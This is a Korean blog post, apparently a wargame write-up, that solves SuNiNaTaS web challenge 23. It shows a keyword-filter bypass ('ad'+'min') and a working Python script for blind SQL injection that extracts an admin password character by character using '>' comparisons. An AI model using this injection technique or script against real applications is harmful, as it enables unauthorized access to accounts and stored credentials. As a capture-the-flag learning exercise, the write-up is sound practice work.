일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- reversing.kr
- 정보보호병 후기
- 메모리 포랜식
- 인턴 후기
- Database
- 소프트웨어 개발보안 경진대회
- spring
- Forensic 절차
- SessionAttribute
- frontend
- riceteacatpanda
- 3단계 지역 DB
- PyAmdecoder
- DBMS
- EER
- restapi
- 인턴 지원
- 네이버 인턴
- JSTL
- webhacking 처음
- mysql
- 행정지역 DB
- 방명록 만들기
- 소개딩
- Layered Architecture
- Django
- jsp
- react
- 동읍면 DB
- Today
- Total
웹찢남
SuNiNaTaS [WEB 23번] 풀이 본문
글자수 제한이 있어서 화가 났다....
right함수를 쓰면 끝까지 풀 수 있을 것 같은데 머리가 띵 해져서ㅎ...
admin이 필터링 되있어서 ad'+'min'으로 bypass가 가능하다.
근데 전과다르게 substring 필터링 돼 있어서 방법을 생각해보니 left와 right가 있었다.
근데 하다보니 또뭔 글자수 제한도 있었다... 두번 코드짜기가 너무 싫어서 한번에 할 방법을 생각하다
부등호를 사용하기로했다. 아래는 코드!
import re
import requests
import time
flag = ''
length= 0
str1='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range (1,20):
for j in str1:
r=requests.post("http://www.suninatas.com/challenge/web23/web23.asp?id=ad%27%2B%27min%27and%20pw>%27"+flag+j+"%27--&pw=1")
if 'OK admin' not in r.text:
flag=flag+chr(ord(j)-1)
print("finding pw: "+flag)
break
print("pw "+flag)
pw가 12345라고 치면 pw>2 는 false pw>12344는 true pw>12346은 false 이런식으로 나온다
결국 하나하나 비교값에 추가하면 답이나온다.
하지만 문자수 필터링의 벽을 넘지는 못했다.... 글자를 3자는 줄였는데 ㅠㅠ
right함수를 써서 마지막 두글자를 찾아볼까? 하는 생각을 1분정도하다가
누가봐도 SQLI여서 그냥 여기까지! ㅎ...
CLEAR!!!
'WEB_HACKING > Suninatas' 카테고리의 다른 글
SuNiNaTaS [WEB 22번] 풀이 (0) | 2020.02.18 |
---|---|
SuNiNaTaS [WEB 8번] 풀이 (0) | 2020.02.18 |
SuNiNaTaS [WEB 7번] 풀이 (0) | 2020.02.18 |
SuNiNaTaS [WEB 6번] 풀이 (0) | 2020.02.18 |
SuNiNaTaS [WEB 5번] 풀이 (0) | 2020.02.18 |